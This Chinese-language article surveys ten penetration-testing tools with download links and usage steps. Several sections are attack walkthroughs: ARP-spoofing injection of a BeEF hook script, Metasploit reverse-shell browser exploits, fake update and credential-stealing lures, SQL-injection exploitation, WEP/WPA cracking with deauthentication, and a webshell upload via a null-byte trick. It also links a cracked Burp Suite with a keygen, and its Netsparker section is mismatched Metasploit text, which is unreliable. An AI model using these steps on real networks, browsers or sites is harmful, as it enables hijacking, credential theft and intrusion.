滲透測試的目的不僅是找到安全系統的易受攻擊元素,還要檢查企業中安全策略的合規性,衡量任何安全問題的意識和范圍,并查看可能性在真正的外部實體網絡攻擊事件中,網絡可能會遇到什么災難。實質上,滲透測試允許你發現可能沒有考慮過的弱點區域。滲透測試者提供了一種全新的視角,幫助企業改進系統安全和采用更主動的方法。借助專業工具,滲透測試更加有效和高效,以下介紹10種最佳工具。
Network MApper (NMAP)(推薦小伙伴使用谷歌瀏覽器訪問,再使用谷歌翻譯)
下載地址:https://nmap.org/
使用方法:
測試的IP為:163.177.151.110
Nmap的純掃描
以下命令的語法如下:
nmap <目標IP地址>
其中:目標IP地址=您的目標機器的指定IP
NMAP普通掃描增加輸出冗長(非常詳細)
以下命令的語法如下:
nmap -vv 10.1.1.254
其中:-vv =切換以激活日志所需的非常詳細的設置
Nmap的自定義端口掃描
Nmap的掃描范圍從1-10000的端口默認情況下,為了更具體地指定要掃描的端口,我們將使用-p開關來指定我們的端口掃描范圍,優點是它會更快掃描少量端口而不是預定義的默認值
語法:
nmap -p(范圍)<目標IP>
其中:-P是端口交換機(范圍)是1-65535的端口數 <目標IP>是您的特定目標IP地址
該工具可以創建一個全面的網絡虛擬地圖,并使用它來查明網絡攻擊者可以利用的所有主要弱點。NMAP對滲透測試過程的任何階段都很有用。最重要的是,它是免費的。
Netsparker Security Scanner
下載地址:https://www.netsparker.com/web-vulnerability-scanner/
使用方法:
- 打開工具,點擊start a new scan,選擇full scan(全部掃描),單擊開始
- 在登錄下進行掃描
- 等待掃描結果,并分析
可用的功能將幫助你確定應該使用的預先打包的漏洞,并且還允許你自定義它們;還可以使用IP地址和遠程端口號配置它們。此外,還可以使用IP地址和本地端口號配置有效負載。然后,你可以在啟動預期目標的漏洞之前確定要部署的有效負載。
Metasploit還集成了一個名為Meterpreter的工具,它可以在漏洞發生時顯示所有結果,這意味著你可以毫不費力地分析和解釋結果,并更有效地制定策略。
BeEF
下載地址:https://github.com/beefproject/beef
安裝方式:
git clone git://github.com/beefproject/beef.git
cd beef
bundle install
ruby beef
使用方式:
修改配置文件/usr/share/beef-xss/config.yaml
(1)改vi beef偵聽端口: http: port:3000(比如改為80)
(2)與Metaspolit關聯:
metasploit: enable: false(改為true)
like:ssl: false(改為true)
(3) 配置一下拓展下的metasploit配置文件
vim /usr/share/beef-xss/extensions/metasploit/config.yaml
下面的路徑為本機metasploit的路徑。
然后開啟metasploit的相關服務開啟:# service postgresql start
在命令行下用msfconsole把控制臺打開
接著加載beEF,所用命令為:“load msgrpc ServerHost=127.0.0.1 Pass=abc123”
或者直接用這個命令啟動:
msfconsole -x "load msgrpc ServerHost=127.0.0.1 Pass=abc123"
下面我們來啟動beef
cd /usr/share/beef-xss/ && ./beef -x
為了方便,寫個啟動腳本
#!/bin/bash
service postgresql start
msfconsole -x "load msgrpc ServerHost=127.0.0.1 Pass=abc123"
cd /usr/share/beef-xss && ./beef -x
接口控制面板可以通過http://192.168.1.104:3000/ui/panel來訪問
默認username/passwd是 beef:beef
控制界面
默認hook js:http://192.168.1.104:3000/hook.js
默認hook頁面: http://192.168.1.104:3000/demos/basic.html //訪問即可被hook
好了,現在一切都已經準備好,讓我們用php編寫一個程序進行測試
vim /var/www/index.html
<html>
<head>
<script src="http://192.168.1.104:3000/hook.js"></script>
</head>
</html>
如果是內網,也可以利用欺騙劫持勾住目標瀏覽器,比如使用mitmf(要以管理員權限運行)
mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.114 --hsts --inject --js-url http://192.168.1.104:3000/hook.js
mitmf -i eth0 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.129 --inject --html-url http://192.168.1.104:3000/demos/basic.html
鉤住目標瀏覽器后,我們可以利用社會工程來使用戶接受擴展。(Social Engineering中的模塊)
比如:可以發送叫做:HTML5 Rendering Enhancements的擴展給用戶,它會通過 1337 端口打開 shell。
還可以配合metasploit進一步獲取權限。如:
use exploit/windows/browser/JAVA_cmm
set payload windows/meterpreter/reverse_tcp
生成url之后,注入目標瀏覽器中,進而在msf中獲取shell
再比如這個模塊
use exploit/windows/browser/ie_execcommand_uaf
set SRVHOST 192.168.1.104
set URIPATH /
我們我們可以看到每一個tab代表一個瀏覽器,它有5個tab-總結如下:
Details-顯示被hook的瀏覽器的細節。如上圖所示
Logs-顯示當前瀏覽器的log實體。如下圖所示
commands-我們可以對一個瀏覽器執行模塊。模塊可以執行可以通過JavaScript來執行的任何命令。每一個模塊有一個圖標,表示為如下色彩:
Green : 可以工作; user不可見
Orange :可以工作; user可見
Grey : 可能工作
Red : 不能工作
一些實用模塊:
Redirect Browser:進行重定向
方法:右側填寫木馬的路徑,可以配合插件升級攻擊
Social Engineering --> Fake Flash Update
flash插件升級
Social Engineering --> Fake Notification Bar
功能類似插件升級
Social Engineering --> Clippy
Social Engineering --> Pretty Theft
竊取登陸憑證
Misc --> Create Invisible Frame
注入一個隱藏的iframe框架
Metasploit實用姿勢
使用Metasploit的Browser Autopwn功能生成一個瀏覽器攻擊鏈接
use auxiliary/server/browser_autopwn
show options
set LHOST xxx
set SRVHOST xxx
set SRVPORT xxxx<br>run -z
使用"Create Invisible Iframe"模塊加載autopwn頁面
hook手機
由于手機打開網址持續的時間很短,關閉當前頁面后BeEF的shell就會下線,因此我們可以使用BeEF API,用戶上線后能夠自動執行批量命令,結合Persistence模塊能夠極大提高shell存活時間。除了與windows系統相關的信息無法獲取,其他操作均能成功執行,并且BeEF為手機劫持提供了專門的模塊系列——Phonegap
以下是經測試可以在Android上使用的模塊:
1、彈框
2、重定向
3、查看是否訪問過某些網站
4、Creates an invisible iframe
5、Social Engineering系列,如下圖,僅作演示
6、msf系列
7、NetWork系列,可以用來掃描同一內網下的windows主機
BeEF工具最適合檢查Web瀏覽器,因為它主要用于對抗web攻擊。這就是為什么它最有利于移動的客戶。此工具使用GitHub查找漏洞,此工具的最佳之處在于它探索了web邊界和客戶端系統之外的弱點。請記住,這是專門針對Web瀏覽器的,因為它會查看單個源上下文中的漏洞。它連接多個Web瀏覽器,允許你啟動定向命令模塊。
Wireshark
下載地址:https://www.wireshark.org/download.html
使用方法:
1、打開wireshark 2.6.5,主界面如下:
2、選擇菜單欄上Capture -> Option,勾選WLAN網卡(這里需要根據各自電腦網卡使用情況選擇,簡單的辦法可以看使用的IP對應的網卡)。點擊Start。啟動抓包。
3、wireshark啟動后,wireshark處于抓包狀態中。
4、執行需要抓包的操作,如ping www.baidu.com。
5、操作完成后相關數據包就抓取到了。為避免其他無用的數據包影響分析,可以通過在過濾欄設置過濾條件進行數據包列表過濾,獲取結果如下。說明:ip.addr == 119.75.217.26 and icmp 表示只顯示ICPM協議且源主機IP或者目的主機IP為119.75.217.26的數據包。
5、wireshark抓包完成,就這么簡單。關于wireshark過濾條件和如何查看數據包中的詳細內容在后面介紹。
Wireshakr抓包界面
說明:數據包列表區中不同的協議使用了不同的顏色區分。協議顏色標識定位在菜單欄View --> Coloring Rules。如下所示
該工具提供的最大優勢是分析結果的產生方式使用戶輕松理解。滲透測試者可以使用此工具執行許多不同的操作,包括顏色編碼,以便進行更深入的調查,并隔離最重要的單個數據包。在分析基于Web的應用上發布到表單的信息和數據所固有的安全風險時,此工具非常方便。
w3af
下載地址:http://w3af.org/download
使用方法:
root@bt:~# cd /pentest/web/w3af/
root@bt:/pentest/web/w3af# ./w3af_console
0x04 漏洞掃描配置
w3af>>> plugins
//進入插件模塊
w3af/plugins>>> list discovery
//列出所有用于發現的插件
w3af/plugins>>> discovery findBackdoor phpinfo webSpider
//啟用findBackdoor phpinfo webSpider這三個插件
w3af/plugins>>> list audit
//列出所有用于漏洞的插件
w3af/plugins>>> audit blindSqli fileUpload osCommanding sqli xss
//啟用blindSqli fileUpload osCommanding sqli xss這五個插件
w3af/plugins>>> back
//返回主模塊
w3af>>> target
//進入配置目標的模塊
w3af/config:target>>> set target http://192.168.244.132/
//把目標設置為http://192.168.244.132/
w3af/config:target>>> back
//返回主模塊
0x05 漏洞掃描
w3af>>> start
---
New URL found by phpinfo plugin: http://192.168.244.132/
New URL found by phpinfo plugin: http://192.168.244.132/checklogin.php
New URL found by phpinfo plugin: http://192.168.244.132/index.php
New URL found by webSpider plugin: http://192.168.244.132/
New URL found by webSpider plugin: http://192.168.244.132/checklogin.php
New URL found by webSpider plugin: http://192.168.244.132/index.php
Found 3 URLs and 8 different points of injection.
The list of URLs is:
- http://192.168.244.132/index.php
- http://192.168.244.132/checklogin.php
- http://192.168.244.132/
The list of fuzzable requests is:
- http://192.168.244.132/ | Method: GET
- http://192.168.244.132/ | Method: GET | Parameters: (mode="phpinfo")
- http://192.168.244.132/ | Method: GET | Parameters: (view="phpinfo")
- http://192.168.244.132/checklogin.php | Method: GET
- http://192.168.244.132/checklogin.php | Method: POST | Parameters: (myusername="", mypassword="")
- http://192.168.244.132/index.php | Method: GET
- http://192.168.244.132/index.php | Method: GET | Parameters: (mode="phpinfo")
- http://192.168.244.132/index.php | Method: GET | Parameters: (view="phpinfo")
Blind SQL injection was found at: "http://192.168.244.132/checklogin.php", using HTTP method POST. The injectable parameter is: "mypassword". This vulnerability was found in the requests with ids 309 to 310.
A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "supplied argument is not a valid MySQL". The error was found on response with id 989.
A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "mysql_". The error was found on response with id 989.
SQL injection in a MySQL database was found at: "http://192.168.244.132/checklogin.php", using HTTP method POST. The sent post-data was: "myusername=John&Submit=Login&mypassword=d'z"0". The modified parameter was "mypassword". This vulnerability was found in the request with id 989.
Scan finished in 19 seconds.
---
//開始掃描
0x06 漏洞利用配置
w3af>>> exploit
//進入漏洞利用模塊
w3af/exploit>>> list exploit
//列出所有用于漏洞利用的插件
w3af/exploit>>> exploit sqlmap
//使用sqlmap進行SQL注入漏洞的測試
---
Trying to exploit using vulnerability with id: [1010, 1011]. Please wait...
Vulnerability successfully exploited. This is a list of available shells and proxies:
- [0] <sql object ( dbms: "MySQL >= 5.0.0" | ruser: "root@localhost" )>
Please use the interact command to interact with the shell objects.
---
//測試存在SQL注入漏洞
//這里要記住shell objects(這里是0),等一下要用到
0x07 漏洞利用
w3af/exploit>>> interact 0
//interact + shell object就可以利用了
---
Execute "exit" to get out of the remote shell. Commands typed in this menu will be run through the sqlmap shell
w3af/exploit/sqlmap-0>>>
---
//sqlmap的一個交互式模塊
w3af/exploit/sqlmap-0>>> dbs
---
Available databases: [3]:
使W3AF成為一個完整工具的原因是參數和變量可以快速保存到會話管理器文件中。這意味著它們可以快速重新配置并重新用于Web應用上的其他滲透測試,從而為你節省大量時間,因為你不必在每次需要時重新輸入所有參數和變量。此外,測試結果以圖形和文本格式顯示,使其易于理解。
Acunetix Scanner
下載地址:http://www.downza.cn/soft/286127.html
使用方法:
1、選擇“Tools Explorer”下的“Web Scanner”,鼠標右鍵出現選項菜單,選擇“ New scan”
彈出“Scan Wizard”掃描向導,輸入您所要測試的網址
然后一直點擊下一步,如果要測試的網站是需要登陸才能進入的web,則配置一下登陸信息,點擊“New Login Sequence”按照步驟一步一步登陸,讓軟件記錄下你的登 錄信息。完成之后繼續next。
當出現下圖的操作時,則說明準備工作已經做好,點擊“finish”按鈕,可以開始掃描
掃描結束后如下圖所示:
它涵蓋了超過4500個弱點。登錄序列記錄器易于使用;它會掃描受密碼保護的區域。該工具包含AcuSensor技術,手動滲透工具和內置漏洞測試。它可以快速抓取數千個網頁,也可以在本地或通過云解決方案運行。
John the Ripper
下載地址:https://www.openwall.com/john/
使用方法:
【命令列指令】
john [-命令列參數] [密碼檔名稱]
【命令列參數】
參數:-single
說明:使用「簡單」(Single Crack)破解模式解密,主要是根據使用者的「賬號」產生變化來猜測解密,其變化規則記錄在JOHN.INI檔案的 [List.Rules:Single] 區域內。(稍后會再介紹)
案例1:john -single passwd
參數:-wordfile:[字典檔檔名] -stdin
說明:使用「字典檔」破解模式解密,由字典檔內讀取單字來破解;或是可以加上-stdin參數,代表由鍵盤輸入單字來破解。
案例2:john -wordfile:bigdict.dic passwd
參數:-rules
說明:在「字典檔」破解模式下,開啟字詞規則變化功能,如「字典檔」讀入單字cook,則開啟字詞變化下,程式可能會嘗試cook、c00k、 cooker、cook0…等其它字詞。詳細變化規則記錄在JOHN.INI檔案的 [List.Rules:Wordlist] 區域內。(稍后會再介紹)
案例3:john -wordfile:bigdict.dic -rules passw
參數:-incremental[:模式名稱](參數也可以簡寫成 -i[:模式名稱])
說明:使用「增強」破解模式解密,就是組合所有可能的資源當作密碼來破解。在 JOHN.INI檔案內的 [Incremental:*****] 區域里定義好許多的模式名稱,可以指定使用哪一個模式來破解。(稍后會再介紹)
案例4:john -i:all passwd
參數:-external:[模組名稱]
說明:使用「外掛模組」破解模式解密,使用者可以自己撰寫額外的「破解模組程式」。「破解模組程式」是記錄在JOHN.INI檔案內的 [List.External:******] 區域內。
這是一個眾所周知的工具,是一個非常優雅和簡單的密碼破解工具。此工具允許你確定數據庫中的任何未知弱點,它通過從傳統字典中找到的復雜和流行單詞的單詞列表中獲取文本字符串樣本,并使用與正在生成的密碼相同的格式對其進行加密來實現此目的。簡單而有效的John the Ripper是任何精心準備的滲透測試儀工具包中的一個強烈推薦的補充。
Aircrack mainly
下載地址:http://aircrack-ng.org/
使用方法:
Ifconfigwlan0 up 掛載無線網卡
Airmon-ngstart wlan0 激活無線網卡為監聽模式
Airodump-ngmon0抓包
Airodump-ng –ivs –w shujubao –c 6 wlan0 抓包并保存
--ivs 這里是設置過濾,只保存用于破解的ivs文件,可以不加這個參數的,信道是多少寫多少,一般是6,這個可以在抓包的時候看到,這一步可能會抓到好幾個路由器的報文,選擇自己要的就是了。
Airplay-ng -3 –b 目標mac –h 客戶端MAC mon0
-3是指采用arprequesr注入***模式(后面會提到參數0)
等待一段時間,具體等多少,就是等1000個以上的數據包吧,保險可以多等一會
Aircrack-ng shujubao-01.ivs 進行破解了,這種模式好破,當然拿windows下面破利用GPU加速更快。
Wpa加密破解:
前面都一樣抓包的時候使用如下命令:
Airodump-ng -c 6 –w shujubao mon0
Aireplay-ng -0 10 –a 目標MAC –c 客戶端MAC wlan0(參數與WEP有很大不同)
-0采用deauth***模式,后面是***次數,一般1次有效就好了。
屏幕上出現了:WPA handshake說明抓到了握手包
Aircrack-ng –w dic shujubao-01.cap
這里面需要自己制作字典,建議在win下面破解,字典工具也多,自己做一個就好了。也可以扔到網站上破解,他們應該有超大的彩虹表吧,個人感覺對于復雜的wpa2密碼,這種***方式不是很好用,運氣不好,要破幾個月也是有可能,當然我沒有驗證,懶。不過這種方法確實是萬能的,限制條件不多。
Burp Suite Pen Tester
下載地址:https://pan.baidu.com/s/1mJdRZqSr5A0W9aWEcs3ySg 密碼: 293x (壓縮包內已包含注冊機Loader)
運行Burp site,點擊Proxy標簽,確認Options選項卡下,Proxy listeners的running運行正常(勾選狀態為運行),如果端口打開失敗,可能的原因是有程序占用了該端口,點擊edit,在local listener port:輸入框輸入一個未占用的端口,點擊update即可。我這里將端口改為了8082
打開http://192.168.8.120/test/upload_flash.asp?formname=myform&editname=bookpic&uppath=bookpic&filelx=jpg,進入上傳頁面,選擇我們的asp木馬,然后設置瀏覽器代理地址為127.0.0.1,端口為8082,點擊開始上傳,burp suite截獲數據包,點擊forward按鈕,返回結果如圖所示。
到這里所用到的數據包已經成功捕獲,切換到history選項卡,右鍵剛剛捕獲的post數據包,選擇send to repeater。
更改filepath值”bookpic/”為”bookpic/shell.asp “(asp后有一空格),然后把filename的值”C:Documents andSettingsAdministratorDesktop\unset.asp”改成”C:Documents andSettingsAdministratorDesktop\unset.jpg”,Content-Length的值不用更改,程序會在提交請求的時候自動更新該值。
然后切換到hex選項卡,找到上傳路徑”bookpic/shell.asp “所處位置,把20改成00,然后點擊GO,成功上傳aspshell到http://192.168.8.120/test/bookpic/shell.asp。
此工具包含成功執行掃描活動和高級滲透測試的所有基本要素,使其成為檢查基于Web應用的理想選擇,因為它包含用于分析目標服務器和瀏覽器之間請求的工具。它通過在Java平臺上使用Web滲?透測試來實現。它可用于許多不同的操作系統,包括Windows,linux和OS X.